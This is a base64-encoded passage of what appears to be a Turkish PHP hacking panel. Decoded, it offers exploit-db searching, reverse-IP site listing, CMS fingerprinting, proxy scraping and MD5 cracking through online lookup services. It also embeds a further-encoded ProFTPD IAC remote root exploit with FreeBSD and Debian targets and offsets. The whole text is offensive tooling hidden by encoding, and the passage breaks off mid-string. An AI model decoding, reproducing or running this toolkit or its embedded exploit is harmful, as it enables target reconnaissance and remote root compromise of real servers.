sdWU9IjMyIj5wbGFuOTwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIzMyI+UU5YPC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjM0Ij5zY288L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMzUiPnNjby94ODY8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMzYiPnNvbGFyaXM8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMzciPnNvbGFyaXMvc3BhcmM8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMzgiPnNvbGFyaXMveDg2PC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjM5Ij50cnU2NDwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSI0MCI+dWx0cml4PC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjQxIj51bml4PC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjQyIj51bml4d2FyZTwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSI0MyI+d2luMzI8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNDQiPndpbjY0PC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjQ1Ij53aW5kb3dzPC9vcHRpb24+DQogICAgIA0KICAgICAgICA8L3NlbGVjdD4NCiAgICAgICAgPGJyPg0KICAgICAgICA8bGFiZWwgZm9yPSJ0aXAiPlNhbGRpcmkgc3RpbGkgPTwvbGFiZWw+DQogICAgICAgIDxzZWxlY3QgbmFtZT0idGlwIiBpZD0idGlwIiBvbmNoYW5nZT0iY2hlY2tTZWxlY3RlZFR5cGVPblNlYXJjaEZvcm0oKTsiPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIwIj5IaWNiaXJpPC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjEiPmRvczwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIyIj5sb2NhbDwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSI1Ij5NYWthbGVsZXI8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMyI+cmVtb3RlPC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjQiPnNoZWxsY29kZTwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSI2Ij5XZWIgQWNpa2xhcmk8L29wdGlvbj4NCiAgICAgICAgPC9zZWxlY3Q+DQogICAgICAgIDxicj4NCiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9ImJ1bCBiYWthbGltIj48YnI+JzsNCiAgICAgICAgJGJhc2xpayA9ICRfUE9TVFsnYmFzbGlrJ107DQogICAgICAgICRpc2xldGltID0gJF9QT1NUWydpc2xldGltJ107DQogICAgICAgICR0aXAgPSAkX1BPU1RbJ3RpcCddOw0KICAgICAgICAkcG9ydCA9ICRfUE9TVFsncG9ydCddOw0KICAgICAgICBpZihpc3NldCgkYmFzbGlrKSkgew0KICAgICAgICAkc2F5ZmExID0gIjEwIjsNCiAgICAgICAgJGJhc2xpazEgPSB1cmxlbmNvZGUoJGJhc2xpayk7DQogICAgICAgIGZvciggJHNheWZhID0gMSA7ICRzYXlmYSA8PSAkc2F5ZmExIDsgJHNheWZhKysgKSB7DQogICAgICAgICRpem8gPSBmaWxlX2dldF9jb250ZW50cygiaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9zZWFyY2gvP2FjdGlvbj1zZWFyY2gmZmlsdGVyX3BhZ2U9JHNheWZhJmZpbHRlcl9kZXNjcmlwdGlvbj0kYmFzbGlrMSZmaWx0ZXJfZXhwbG9pdF90ZXh0PSZmaWx0ZXJfYXV0aG9yPSZmaWx0ZXJfcGxhdGZvcm09JGlzbGV0aW0mZmlsdGVyX3R5cGU9JHRpcCZmaWx0ZXJfbGFuZ19pZD0wJmZpbHRlcl9wb3J0PSRwb3J0JmZpbHRlcl9vc3ZkYj0mZmlsdGVyX2N2ZT0iKTsNCiAgICAgICAgcHJlZ19tYXRjaF9hbGwoJy88dGQgY2xhc3M9Imxpc3RfZXhwbG90X2RhdGUiPiguKj8pPHRkIGNsYXNzPSJsaXN0X2V4cGxvdF9kbGluayI+L3NpJywgJGl6bywgJHNpdGVtaSk7DQogICAgICAgIHByZWdfbWF0Y2hfYWxsKCcvPHRkIGNsYXNzPSJsaXN0X2V4cGxvdF9hdXRob3IiPiguKj8pPHRkIGNsYXNzPSJsaXN0X2V4cGxvdF9kYXRlIj4vc2knLCAkaXpvLCAkc2l0ZW0pOw0KICAgICAgICBwcmVnX21hdGNoX2FsbCgnLzx0ZCBjbGFzcz0ibGlzdF9leHBsb3RfZGVzY3JpcHRpb24iPiguKj8pPHRkIGNsYXNzPSJsaXN0X2V4cGxvdF9jbGlja3MiPi9zaScsICRpem8sICRzaXRlbWlzKTsNCiAgICAgICAgJGxpbmsgPSBjb3VudCgkc2l0ZW1pc1swXSk7DQogICAgICAgIGZvcigkaSA9IDAgOyAkaSA8ICRsaW5rIDsgJGkrKykgew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj1SZWQ+VGFyaWg6PC9mb250Pic7DQogICAgICAgIGVjaG8gIjxmb250IGNvbG9yPWJsdWU+Ii4kc2l0ZW1pWzBdWyRpXTsNCiAgICAgICAgZWNobyAnPC9mb250Pjxmb250IGNvbG9yPVJlZD5FeHBsb2l0OiA8L2ZvbnQ+JzsNCiAgICAgICAgZWNobyAkc2l0ZW1pc1swXVskaV0uIjxicj4iOw0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmKCAkcmVkID09ICJyZXZlcnNlIiApIHsNCiAgICAgICAgZWNobyAnDQogICAgICAgIDxicj48aDM+IFJldmVyc2UgSXAgTGlzdGVsZXlpY2kgPC9oMz48YnI+DQogICAgICAgIDxmb250IGNvbG9yPXJlZD48YnI+DQogICAgICAgICMjIyBLdWxsYW5pbSAjIyM8YnI+DQogICAgIA0KICAgICAgICBLdXR1Y3VnYSB3d3cudGFyZ2V0LmNvbSB5YWRhIHRhcmdldC5jb20gc2VrbGluZGUgZ2lyaW5pejxicj48YnI+PGJyPiA8L2ZvbnQ+DQogICAgICAgIDxmb3JtIGFjdGlvbj0iP3JlZD1yZXZlcnNlIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICA8Y2VudGVyPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJpem9xZWFyIiA+DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJidWwgYmFrYWxpbSI+PGJyPjwvY2VudGVyPic7DQogICAgICAgICRpem9xZWFyID0gJF9QT1NUWydpem9xZWFyJ107DQogICAgICAgIGlmKGlzc2V0KCRpem9xZWFyKSkgew0KICAgICAgICAkaXpvMiA9ICJodHRwOi8vd3d3LnlvdWdldHNpZ25hbC5jb20vdG9vbHMvd2ViLXNpdGVzLW9uLXdlYi1zZXJ2ZXIvcGhwL2dldC13ZWItc2l0ZXMtb24td2ViLXNlcnZlci1qc29uLWRhdGEucGhwP3JlbW90ZUFkZHJlc3M9IjsNCiAgICAgICAgJGl6b3FlYXIyID0gJGl6bzIuJGl6b3FlYXI7DQogICAgICAgICRpem8gPSBmaWxlX2dldF9jb250ZW50cygkaXpvcWVhcjIpOw0KICAgICAgICBwcmVnX21hdGNoX2FsbCgnLyIoLio/KSIvc2knLCAkaXpvLCAkc2l0ZW1pcyk7DQogICAgICAgIGZvcmVhY2goYXJyYXlfdW5pcXVlKCRzaXRlbWlzWzFdKSBhcyAkcmV2ZXJzZSkgew0KICAgICAgICBpZihzdHJzdHIoJHJldmVyc2UsJy4nKSkgew0KICAgICAgICBpZihlcmVnaSgnd3d3JywkcmV2ZXJzZSkpIHsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9cmVkPmh0dHA6Ly8nLiRyZXZlcnNlLiI8YnI+PC9mb250PiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZSB7DQogICAgICAgIGVjaG8gJzxmb250IGNvbG9yPXJlZD5odHRwOi8vd3d3LicuJHJldmVyc2UuIjxicj48L2ZvbnQ+IjsNCiAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmKCAkcmVkID09ICJheWlyIiApIHsNCiAgICAgICAgZWNobyAnDQogICAgICAgIDxicj48aDM+IFNlcnZlciBTY3JpcHQgTGlzdGVyICA8L2gzPjxicj4NCiAgICAgICAgPGZvbnQgY29sb3I9cmVkPjxicj4NCiAgICAgICAgIyMjIEt1bGxhbmltICMjIzxicj4NCiAgICAgICAgaHR0cDovL3d3dy5oZWRlZi5jb208YnI+DQogICAgICAgIGh0dHA6Ly93d3cudGFyZ2V0LmNvbTxicj4NCiAgICAgICAgPGJyPg0KICAgICAgICBzZWtsaW5kZSBzZXJ2ZXJkYWtpIHNpdGVsZXJpIHlhemluPGJyPg0KICAgICAgICA8YnI+DQogICAgICAgIFdvcmRwcmVzcyA9IE1hdmkgPGJyPg0KICAgICAgICBKb29tbGEgPSBLaXJtaXppIDxicj4NCiAgICAgICAgU21mID0gU2l5YWg8YnI+DQogICAgICAgIFZidWxsZXRpbiA9IFllc2lsPGJyPg0KICAgICAgICBQaHBCQiA9IEdyaTxicj4NCiAgICAgICAgPGJyPg0KICAgICAgICBSZW5rbGVybGUgQmVsaXJ0aWxtaXN0aXI8YnI+PGJyPjxicj48L2ZvbnQ+DQogICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPjxicj4NCiAgICAgICAgU2VydmVyZGEgU2NyaXB0IFRhcmEgPTx0ZXh0YXJlYSBuYW1lPSJpem9xZWFyIiBjb2xzPSIzNSIgcm93cz0iNyI+PC90ZXh0YXJlYT48YnI+DQogICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iQ2VrIFVsZW4iPjxicj4nOw0KICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICBzZXRfdGltZV9saW1pdCgwKTsNCiAgICAgICAgJGl6b2ltdGFyYSA9ICRfUE9TVFsnaXpvaW10YXJhJ107DQogICAgICAgICRpem9xZWFyID0gJF9QT1NUWydpem9xZWFyJ107DQogICAgICAgICRpem9xZWFyID0gZXhwbG9kZSgiXG4iLCRpem9xZWFyKTsNCiAgICAgICAgZm9yZWFjaCgkaXpvcWVhciBhcyAkaXpvKXsNCiAgICAgICAgJGl6bz10cmltKCRpem8pOw0KICAgICAgICAkY3VybD1jdXJsX2luaXQoKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVElNRU9VVCwgMjApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VSTCwkaXpvKTsNCiAgICAgICAgJGl6b3M9Y3VybF9leGVjKCRjdXJsKTsNCiAgICAgICAgaWYoZXJlZ2koJ3NtZicsJGl6b3MpKXsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9YmxhY2s+ICRpem8gPC9mb250PiA8YnI+ICI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmIChlcmVnaSgndmJ1bGxldGluJywkaXpvcykpew0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj4gJGl6byA8L2ZvbnQ+PGJyPiI7DQogICAgICAgIG9iX2ZsdXNoKCk7DQogICAgICAgIGZsdXNoKCk7DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmKGVyZWdpKCdwaHBiYicsJGl6b3MpKXsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9Z3JleT4gJGl6byA8L2ZvbnQ+PGJyPiI7DQogICAgICAgIG9iX2ZsdXNoKCk7DQogICAgICAgIGZsdXNoKCk7DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmKGVyZWdpKCd3b3JkcHJlc3MnLCRpem9zKSl7DQogICAgICAgIGVjaG8gIjxmb250IGNvbG9yPWJsdWU+ICRpem8gPC9mb250Pjxicj4iOw0KICAgICAgICBvYl9mbHVzaCgpOw0KICAgICAgICBmbHVzaCgpOw0KICAgICAgICB9DQogICAgICAgIGVsc2VpZihlcmVnaSgnam9vbWxhJywkaXpvcykpew0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+ICRpem8gPC9mb250Pjxicj4iOw0KICAgICAgICBvYl9mbHVzaCgpOw0KICAgICAgICBmbHVzaCgpOw0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBpZiggJHJlZCA9PSAicHJveHkiICkgew0KICAgICAgICBlY2hvICcNCiAgICAgICAgPGJyPjxoMz4gUHJveHkgTGlzdGVyICA8L2gzPjxicj4NCiAgICAgICAgPGZvbnQgY29sb3I9cmVkPjxicj4NCiAgICAgICAgIyMjIEt1bGxhbmltICMjIzxicj4NCiAgICAgICAgaHR0cDovL2FsaXZlcHJveHkuY29tL3Byb3h5LWxpc3QtcG9ydC04MC8gPGJyPg0KICAgICANCiAgICAgICAgZ2liaSA8YnI+DQogICAgIA0KICAgICAgICBJUDpwb3J0IFNla2xpbmRlIHZlcmVuIHNpdGVsZXJpbiBoZXBzaW5kZW4gQvx0/G4gcHJveHlsZXJpIOdla2ViaWxpcnNpbml6IDxicj48YnI+PGJyPjwvZm9udD4NCiAgICAgICAgPGJyPg0KICAgICAgICA8YnI+DQogICAgICAgIDxjZW50ZXI+PGZvcm0gaWQ9ImZvcm0iIG5hbWU9ImZvcm0iIG1ldGhvZD0icG9zdCIgYWN0aW9uIj9yZWQ9cHJveHkiPg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaXpvcWVhciIgdmFsdWU9Iic7DQogICAgICAgIGVjaG8gJGl6b3FlYXI7DQogICAgICAgIGVjaG8gJyI+IDxicj4NCiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IudhbCBiYXFhbSIgPiA8YnI+PC9jZW50ZXI+JzsNCiAgICAgICAgJGl6b3FlYXIgPSAkX1BPU1RbJ2l6b3FlYXInXTsNCiAgICAgICAgaWYoIWVtcHR5KCRpem9xZWFyKSkgew0KICAgICAgICAkaXpvPWZpbGVfZ2V0X2NvbnRlbnRzKCRpem9xZWFyKTsNCiAgICAgICAgcHJlZ19tYXRjaF9hbGwoIi9bMC05XSpcLlswLTldKlwuWzAtOV0qXC5bMC05XSpcOlswLTldKi8iLCRpem8sJHByb3h5KTsNCiAgICAgICAgZm9yZWFjaCgkcHJveHlbMF0gYXMgJHBybyl7DQogICAgICAgIHByaW50ICRwcm8uIjxicj4iOw0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBpZiggJHJlZCA9PSAibWQ1IiApIHsNCiAgICAgICAgc2V0X3RpbWVfbGltaXQoMCk7DQogICAgICAgIGVjaG8gJw0KICAgICAgICA8YnI+PGgzPiAgICAgTUQ1IExvb2t1cCAgPC9oMz48YnI+DQogICAgIA0KICAgICAgICA8Zm9udCBjb2xvcj1yZWQ+PGJyPg0KICAgICAgICAjIyMgS3VsbGFuaW0gIyMjPGJyPg0KICAgICANCiAgICAgICAgR2VyZWtsaSBLdXR1Y3VnYSBraXJpbGFjYWsgbWQ1aSB5YXppbiA0MCBmYXJrbGkgc2l0ZWRlIGtpcm1heWEg52FsaXNpcjxicj48YnI+PGJyPjxicj48L2ZvbnQ+DQogICAgICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSIiPg0KICAgICAgICBNZDUgQ3JhY2tlciA8YnI+IDxpbnB1dCBuYW1lPWl6b2lta2lyIHR5cGU9dGV4dCB2YWx1ZT0iJzsNCiAgICAgICAgZWNobyAkaXpvaW1raXI7DQogICAgICAgIGVjaG8gJyI+PGJyPg0KICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkNyYWNrIj48YnI+JzsNCiAgICAgICAgJGl6b2lta2lyID0gJF9QT1NUWydpem9pbWtpciddOw0KICAgICAgICBpZihpc3NldCgkaXpvaW1raXIpKSB7DQogICAgIA0KICAgICAgICAvL1Bhc3NjcmFja2luZw0KICAgICAgICAkY3VybD1jdXJsX2luaXQoKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCJodHRwOi8vcGFzc2NyYWNraW5nLmNvbS9pbmRleC5waHAiKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUE9TVCwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1BPU1RGSUVMRFMsImFkbWluPWZhbHNlJmFkbWluMj03Ny5waHAmZGF0YWZyb211c2VyPSRpem9pbWtpciIpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMTsgU1YxOyBHVEI2LjY7IC5ORVQgQ0xSIDIuMC41MDcyNzsgLk5FVCBDTFIgMy4wLjQ1MDYuMjE1MjsgLk5FVCBDTFIgMy41LjMwNzI5KScpOw0KICAgICAgICAkc2l0ZWsgPSBjdXJsX2V4ZWMgKCRjdXJsKTsNCiAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyNGRjAwMDA+KC4qPyk8L3RkPjx0ZD4jc2knLCAkc2l0ZWssICRtZXRhc2l0ZTMpOw0KICAgICAgICBmb3JlYWNoKCRtZXRhc2l0ZTNbMV0gYXMgJHNpdGUzKSB7DQogICAgICAgIGVjaG8gJHNpdGUzOw0KICAgICAgICBvYl9mbHVzaCgpOw0KICAgICAgICBmbHVzaCgpOw0KICAgICAgICB9DQogICAgICAgIGN1cmxfY2xvc2UoJGN1cmwpOw0KICAgICANCiAgICAgICAgLy9hbGltYW1lZC5wcC5ydSArKw0KICAgICAgICAkY3VybD1jdXJsX2luaXQoKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCJodHRwOi8vYWxpbWFtZWQucHAucnUvbWQ1Lz9tZDVlPSZtZDVkPSRpem9pbWtpciIpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMTsgU1YxOyBHVEI2LjY7IC5ORVQgQ0xSIDIuMC41MDcyNzsgLk5FVCBDTFIgMy4wLjQ1MDYuMjE1MjsgLk5FVCBDTFIgMy41LjMwNzI5KScpOw0KICAgICAgICAkc2l0ZW4gPSBjdXJsX2V4ZWMgKCRjdXJsKTsNCiAgICAgICAgJGthem1hID0gZXhwbG9kZSgiPGI+IiwgJHNpdGVuKTsNCiAgICAgICAgJHNhcCA9IGV4cGxvZGUoIjwvYj4iLCRrYXptYVsxXSk7DQogICAgICAgIGVjaG8gIjxicj4gJHNhcFswXTxicj4iOw0KICAgICAgICBvYl9mbHVzaCgpOw0KICAgICAgICBmbHVzaCgpOw0KICAgICAgICBjdXJsX2Nsb3NlKCRjdXJsKTsNCiAgICAgICAgLy8gbWQ1Lmhhc2hjcmFja2luZy5jb20gICsrDQogICAgICAgICRjdXJsPWN1cmxfaW5pdCgpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VUkwsImh0dHA6Ly9tZDUuaGFzaGNyYWNraW5nLmNvbS9zZWFyY2gucGhwP21kNT0kaXpvaW1raXIiKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDYuMDsgV2luZG93cyBOVCA1LjE7IFNWMTsgR1RCNi42OyAuTkVUIENMUiAyLjAuNTA3Mjc7IC5ORVQgQ0xSIDMuMC40NTA2LjIxNTI7IC5ORVQgQ0xSIDMuNS4zMDcyOSknKTsNCiAgICAgICAgJHNpdGUyID0gY3VybF9leGVjICgkY3VybCk7DQogICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjIFswLTldKiNzaScsICRzaXRlMiwgJG1ldGFzaXRlMyk7DQogICAgICAgIGZvcmVhY2goJG1ldGFzaXRlM1swXSBhcyAkc2l0ZTkpIHsNCiAgICAgICAgZWNobyAiJHNpdGU5IjsNCiAgICAgICAgb2JfZmx1c2goKTsNCiAgICAgICAgZmx1c2goKTsNCiAgICAgICAgfQ0KICAgICAgICBjdXJsX2Nsb3NlKCRjdXJsKTsNCiAgICAgICAgLy8gb3BlbmNyYWNrLmhhc2hraWxsZXIuY29tICsrDQogICAgICAgICRjdXJsPWN1cmxfaW5pdCgpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VUkwsImh0dHA6Ly9vcGVuY3JhY2suaGFzaGtpbGxlci5jb20vIik7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1BPU1QsIDEpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9QT1NURklFTERTLCJvY19jaGVja19tZDU9JGl6b2lta2lyIik7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA2LjA7IFdpbmRvd3MgTlQgNS4xOyBTVjE7IEdUQjYuNjsgLk5FVCBDTFIgMi4wLjUwNzI3OyAuTkVUIENMUiAzLjAuNDUwNi4yMTUyOyAuTkVUIENMUiAzLjUuMzA3MjkpJyk7DQogICAgICAgICRzaXRlbyA9IGN1cmxfZXhlYyAoJGN1cmwpOw0KICAgICAgICBwcmVnX21hdGNoX2FsbCgnIzxkaXYgY2xhc3M9InJlc3VsdCI+KC4qPyktIGNyYWNrZWQjc2knLCAkc2l0ZW8sICRtZXRhc2l0ZTQpOw0KICAgICAgICBmb3JlYWNoKCRtZXRhc2l0ZTRbMV0gYXMgJHNpdGU0KSB7DQogICAgICAgIGVjaG8gIjxicj4kc2l0ZTQ8YnI+IjsNCiAgICAgICAgb2JfZmx1c2goKTsNCiAgICAgICAgZmx1c2goKTsNCiAgICAgICAgfQ0KICAgICAgICBjdXJsX2Nsb3NlKCRjdXJsKTsNCiAgICAgICAgLy8gVG9wbHUgSGFzaENoZWNrZXIuZGUNCiAgICAgICAgJGN1cmw9Y3VybF9pbml0KCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwiaHR0cDovL2hhc2hjaGVja2VyLmRlL2hhc2guY2dpP2FjdGlvbj1jaGVjayZ3ZXJ0PTEmaGFzaD0kaXpvaW1raXIiKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDYuMDsgV2luZG93cyBOVCA1LjE7IFNWMTsgR1RCNi42OyAuTkVUIENMUiAyLjAuNTA3Mjc7IC5ORVQgQ0xSIDMuMC40NTA2LjIxNTI7IC5ORVQgQ0xSIDMuNS4zMDcyOSknKTsNCiAgICAgICAgJHNpdGVoID0gY3VybF9leGVjICgkY3VybCk7DQogICAgICAgIHByZWdfbWF0Y2hfYWxsKCIjJywnKC4qPyknI3NpIiwgJHNpdGVoICwgJGFta3MgKTsNCiAgICAgICAgZm9yZWFjaCgkYW1rc1sxXSBhcyAkc2lraWNpICkgew0KICAgICAgICBlY2hvICRzaWtpY2kuIjxicj4iOw0KICAgICAgICBvYl9mbHVzaCgpOw0KICAgICAgICBmbHVzaCgpOw0KICAgICAgICB9DQogICAgICAgIGN1cmxfY2xvc2UoJGN1cmwpOw0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYoICRyZWQgPT0gInJlbW90ZSIgKSB7DQogICAgLyoNCiAgICBQcm9GVFBEIE90b21hdGlrIERlbmV5aWNpDQogICAgQ29kZWQgYnkgaXpvY2luDQogICAgQ29udGFjdCA6IHNlY3VyaXR5Lmdyb3VwQGhvdG1haWwuY29tDQogICAgKi8NCiAgICAgDQogICAgb2Jfc3RhcnQoKTsNCiAgICBzZXRfdGltZV9saW1pdCgwKTsNCiAgICAkcHJvZnRwID0gJ0l5QkZlSEJzYjJsMElGUnBkR3hsT2lCUWNtOUdWRkJFSUVsQlF5QlNaVzF2ZEdVZ1VtOXZkQ0JGZUhCc2IybDBDaU1nUkdGMFpUb2cNCiAgICBOeUJPYjNabGJXSmxjaUF5TURFd0NpTWdRWFYwYUc5eU9pQkxhVzVuWTI5d1pRb0tkWE5sSUVsUE9qcFRiMk5yWlhRN0Nnb2tiblZ0DQogICAgZEdGeVoyVjBjeUE5SURFek93b0tRSFJoY21kbGRITWdQUW9vSUFvZ0l5QlFiR0ZwYmlCVGRHRmpheUJUYldGemFHbHVad29nQ2lBag0KICAgIFEyOXVabWx5YldWa0lIUnZJSGR2Y21zS0lGc2lSbkpsWlVKVFJDQTRMakVnYVRNNE5pd2dVbTl2ZEd4aGJXRnJJR2szYVc0Z1JHVnUNCiAgICBaVzVwZVc5eUxpSXNJeUJRVEVGVVJrOVNUU0JUVUVWRENpQUpJa1p5WldWQ1UwUWlMQWtqSUU5UVJWSkJWRWxPUnlCVFdWTlVSVTBLDQogICAgSUFrd0xBa0pDU01nUlZoUVRFOUpWQ0JUVkZsTVJRb2dDVEI0WW1aaVptVXdNREFzQ1NNZ1QwWkdVMFZVSUZOVVFWSlVDaUFKTUhoaQ0KICAgIFptSm1abVl3TUN3Skl5QlBSa1pUUlZRZ1JVNUVDaUFKTVRBeU9WMHNDUWtqSUVGTVNVZE9DaUFLSUNORGIyNW1hWEp0WldRSmRHOGcNCiAgICBkMjl5YXdvZ1d5SkdjbVZsUWxORUlEZ3VNQzgzTGpNdk55NHlJR2t6T0RZc0lGSnZiM1JzWVcxaGF5QnBOMmx1SUVSbGJtVnVhWGx2DQogICAgY2k0aUxBb2dDU0pHY21WbFFsTkVJaXdLSUFrd0xBb2dDVEI0WW1aaVptVXdNREFzQ2lBSk1IaGlabUptWm1Zd01Dd0tJQWt4TURJeA0KICAgIFhTd0tJQWtLSUNNZ1VtVjBkWEp1SUdsdWRHOGdUR2xpWXdvZ0NpQWpRMjl1Wm1seWJXVmtJSFJ2SUhkdmNtc0tJRnNpUkdWaWFXRnUNCiAgICBJRWRPVlM5TWFXNTFlQ0ExTGpBc0lGSnZiM1JzWVcxaGF5QnBOMmx1SUVSbGJtVnVhWGx2Y2k0aUxBb2dDU0pNYVc1MWVDSXNDaUFKDQogICAgTVN3SkNRa2pJRVZZVUV4UFNWUWdVMVJaVEVVS0lBa3dlREE0TURSRFEwUTBMQWtqSUhkeWFYUmxLRElwSUc5bVpuTmxkQW9nQ1RneA0KICAgIE9Ea3NDUWtqSUVGTVNVZE9DaUFKTUYwc0lBa0pJeUJRUVVSRVNVNUhDZ29nSXlCRGIyNW1hWEp0WldRZ2RHOGdkMjl5YXdvZ1d5SkUNCiAgICBaV0pwWVc0Z1IwNVZMMHhwYm5WNElEVXVNQ3dnVW05dmRHeGhiV0ZySUdrM2FXNGdSR1Z1Wlc1cGVXOXlMaUlzQ2lBSklreHBiblY0DQogICAgSWl3S0lBa3hMQW9nQ1RCNE1EZ3dORVF5TTBNc0NpQUpOREV3TVN3S0lBa3dYU3dLSUFvZ0kwTnZibVpwY20xbFpDQjBieUIzYjNKcg0KICAgIENpQmJJa1JsWW1saGJpQkhUbFV2VEdsdWRYZ2dOQzR3TENCU2IyOTBiR0Z0WVdzZ2FUZHBiaUJFWlc1bGJtbDViM0l1SWl3S0lBa2kNCiAgICBUR2x1ZFhnaUxBb2dDVEVzQ1FrSkNpQUpNSGd3T0RBMFF6bEJOQ3dKQ2lBSk9ERTRPU3dLSUFrd1hTd2dDUWtLSUNORGIyNW1hWEp0DQogICAgWldRZ2RHOGdkMjl5YXdrS0lGc2lSR1ZpYVdGdUlFeHBiblY0SUZOeGRXVmxlbVV2YzJsa0xDQlNiMjkwYkdGdFlXc2dhVGRwYmlCRQ0KICAgIFpXNWxibWw1YjNJdUlpd0tJQWtpVEdsdWRYZ2lMQW9nQ1RFc0NRa0pDaUFKTUhnd09EQTFNekpFT0N3SkNpQUpOREV3TVN3S0lBa3gNCiAgICBNbDBzQ2lBSkNpQmJJbE5WVTBV